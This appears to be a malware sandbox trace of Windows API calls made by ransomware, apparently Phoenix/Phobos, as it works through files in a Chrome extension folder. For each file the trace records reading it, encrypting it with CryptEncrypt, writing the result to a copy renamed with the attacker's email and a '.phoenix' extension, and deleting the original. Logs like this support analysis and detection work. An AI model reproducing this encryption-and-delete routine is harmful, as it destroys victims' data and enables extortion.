	[0265.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json")) returned 0x20
	[0265.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.397] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.397] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.397] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.397] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.398] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0265.398] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.398] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x563d, lpOverlapped=0x0) returned 1
	[0265.410] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x5640, dwBufLen=0x5640 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x5640) returned 1
	[0265.410] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x5640, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x5640, lpOverlapped=0x0) returned 1
	[0265.411] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0265.411] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.411] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.411] CryptDestroyKey (hKey=0x151200) returned 1
	[0265.411] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.411] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0265.411] CloseHandle (hObject=0x2f0) returned 1
	[0265.411] CloseHandle (hObject=0x308) returned 1
	[0265.412] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json")) returned 1
	[0265.413] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.413] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.413] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=20312) returned 1
	[0265.413] CloseHandle (hObject=0x308) returned 1
	[0265.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json")) returned 0x20
	[0265.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.413] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.413] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.414] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.414] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.414] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0265.414] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.414] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4f58, lpOverlapped=0x0) returned 1
	[0265.595] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4f60, dwBufLen=0x4f60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4f60) returned 1
	[0265.595] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4f60, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4f60, lpOverlapped=0x0) returned 1
	[0265.596] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0265.596] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.596] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.596] CryptDestroyKey (hKey=0x151180) returned 1
	[0265.596] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.597] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0265.597] CloseHandle (hObject=0x308) returned 1
	[0265.597] CloseHandle (hObject=0x2f0) returned 1
	[0265.597] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\th\\messages.json")) returned 1
	[0265.598] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.598] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.599] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16462) returned 1
	[0265.599] CloseHandle (hObject=0x2f0) returned 1
	[0265.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json")) returned 0x20
	[0265.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.599] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.600] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.600] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.600] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.600] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0265.600] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.600] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x404e, lpOverlapped=0x0) returned 1
	[0265.611] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4050, dwBufLen=0x4050 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4050) returned 1
	[0265.611] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4050, lpOverlapped=0x0) returned 1
	[0265.651] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0265.651] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.651] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.651] CryptDestroyKey (hKey=0x151780) returned 1
	[0265.651] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.652] CryptDestroyKey (hKey=0x151380) returned 1
	[0265.652] CloseHandle (hObject=0x2f0) returned 1
	[0265.652] CloseHandle (hObject=0x308) returned 1
	[0265.652] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\tr\\messages.json")) returned 1
	[0265.653] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.653] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.654] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17003) returned 1
	[0265.654] CloseHandle (hObject=0x308) returned 1
	[0265.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json")) returned 0x20
	[0265.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.654] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.654] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.655] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.655] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.662] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0265.662] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.662] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x426b, lpOverlapped=0x0) returned 1
	[0265.722] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4270, dwBufLen=0x4270 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4270) returned 1
	[0265.722] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4270, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4270, lpOverlapped=0x0) returned 1
	[0265.723] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0265.723] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.723] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.723] CryptDestroyKey (hKey=0x151340) returned 1
	[0265.723] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.723] CryptDestroyKey (hKey=0x151200) returned 1
	[0265.723] CloseHandle (hObject=0x308) returned 1
	[0265.723] CloseHandle (hObject=0x2f0) returned 1
	[0265.723] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\vi\\messages.json")) returned 1
	[0265.724] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.724] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.732] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=15478) returned 1
	[0265.732] CloseHandle (hObject=0x254) returned 1
	[0265.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json")) returned 0x20
	[0265.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.734] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.734] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.734] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
